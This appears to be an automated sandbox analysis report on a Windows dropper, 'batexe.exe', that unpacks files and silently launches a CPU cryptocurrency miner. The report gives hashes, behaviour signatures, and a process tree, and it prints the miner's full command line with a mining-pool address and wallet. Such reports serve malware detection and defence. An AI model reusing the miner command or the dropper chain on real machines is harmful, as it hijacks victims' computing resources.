73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
301s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22-02-2024 07:51

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2200714112-3788720386-2559682836-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2200714112-3788720386-2559682836-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
208	b2e.exe
3956	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3956	cpuminer-sse2.exe
3956	cpuminer-sse2.exe
3956	cpuminer-sse2.exe
3956	cpuminer-sse2.exe
3956	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/896-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 896 wrote to memory of 208	896	batexe.exe	84
PID 896 wrote to memory of 208	896	batexe.exe	84
PID 896 wrote to memory of 208	896	batexe.exe	84
PID 208 wrote to memory of 1240	208	b2e.exe	86
PID 208 wrote to memory of 1240	208	b2e.exe	86
PID 208 wrote to memory of 1240	208	b2e.exe	86
PID 1240 wrote to memory of 3956	1240	cmd.exe	89
PID 1240 wrote to memory of 3956	1240	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:896
- C:\Users\Admin\AppData\Local\Temp\7A60.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\7A60.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7A60.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\854D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7A60.tmp\b2e.exe

Filesize
25.6MB

MD5
4c3984b952a19fe7380ff4ae956f3d6a

SHA1
18f0e1749d173d27b9ab38e312eae549b866b990

SHA256
a1fa1338c0ed040948e6ea47579a380419955c4a78482ce5961d21c3c97b7caa

SHA512
0d9f64376c06ccc0ae104a696c44007ef949e839fc558ef12f337b4e42f3b5584d2de315bba4e090a72a4548d5a23c0a9a23fb8039594bcd5f05254b7bd54e75

Download Submit
C:\Users\Admin\AppData\Local\Temp\7A60.tmp\b2e.exe

Filesize
2.1MB

MD5
c65046109eeacc05c12e1d2d47bbcdce

SHA1
f684b885a159684fdc5f276d2e97f1f62e656147

SHA256
3de769cb77e6c4e7be2f7c2683b6e3a7f58f7cd8261f25cd14c868163a5f82fc

SHA512
a0bd72ec5132d11f00120b161c4df1aa93f734dcf9d9b9bb1eda51f96a74a69276aaec7e8cf1fcb762362e887569ad4cb2dbd40aaf541141dfb1ffb7eb51d2dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\7A60.tmp\b2e.exe

Filesize
2.6MB

MD5
1c7c31a3ff98576f571b5405b060cc1f

SHA1
1bc8f7733a612bff03cc97bc9521cf1942c2541b

SHA256
2cb49ab6da35f3a69f12d2442bd48caa130a256db54a27ae370b6deddefe7cb4

SHA512
94eff4025d3f8bfc8d3564d51707a8b0112312cd50bc04e8e6c7798d3a49d4bc06f4c756d4c15e7246655d2e8c1d028507a03ebf2745922b71294e0bfb5d8c51

Download Submit
C:\Users\Admin\AppData\Local\Temp\854D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.1MB

MD5
f6aa2737ae88d8619a11e374adc13705

SHA1
9e069401d495f400f656900e134a478a1078e64a

SHA256
b673512e7598edda17d917b6af30620920ddce9438c15ed5bc1979f0652d41f6

SHA512
ec124f67094c218b595a37d2ae44b73cfc8853e152a9819ff1913de82a2e67d081a55bd84e477c320f40a6643922a6b4c43afb4c363dba221ebf3343eca468db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.2MB

MD5
f8c4033d1b69e63897b3bd40a8e86d39

SHA1
c3610f7d7bce9f9c5e59fa4ff40842e3cb231c78

SHA256
4b51a3b15fc0066154bbc56061c92133d0616daf896e997dcb8b297afc2a2c66

SHA512
f5726813828a09a6215a976af93a9e1c81d6889332054ed924141950b1b961fca17a3975ed827d068a3152b060aa2154e61c1b992578c915fd06da230650963d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.2MB

MD5
c46a529bf3e82165f40a405481af8ff8

SHA1
3fb024e134d94335e27a13948f5cd2eab6bc3f3b

SHA256
71b0b62fa797cde9dd997a3237fac2187e1bf31f04aaf09b87b7ab303425b10a

SHA512
1eea88ee82e3d57b0c0354d162493a1e564d683e2e2d7e7f5fd8cabda0110f4647dd0946fad045e9e9abbcd90cc36b8c19bfc39da0e28ecfd34b4327bc6e2717

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/208-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/208-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/896-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3956-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3956-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-46-0x000000006D6C0000-0x000000006D758000-memory.dmp

Filesize
608KB

Download
memory/3956-47-0x00000000010A0000-0x0000000002955000-memory.dmp

Filesize
24.7MB

Download
memory/3956-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3956-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3956-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download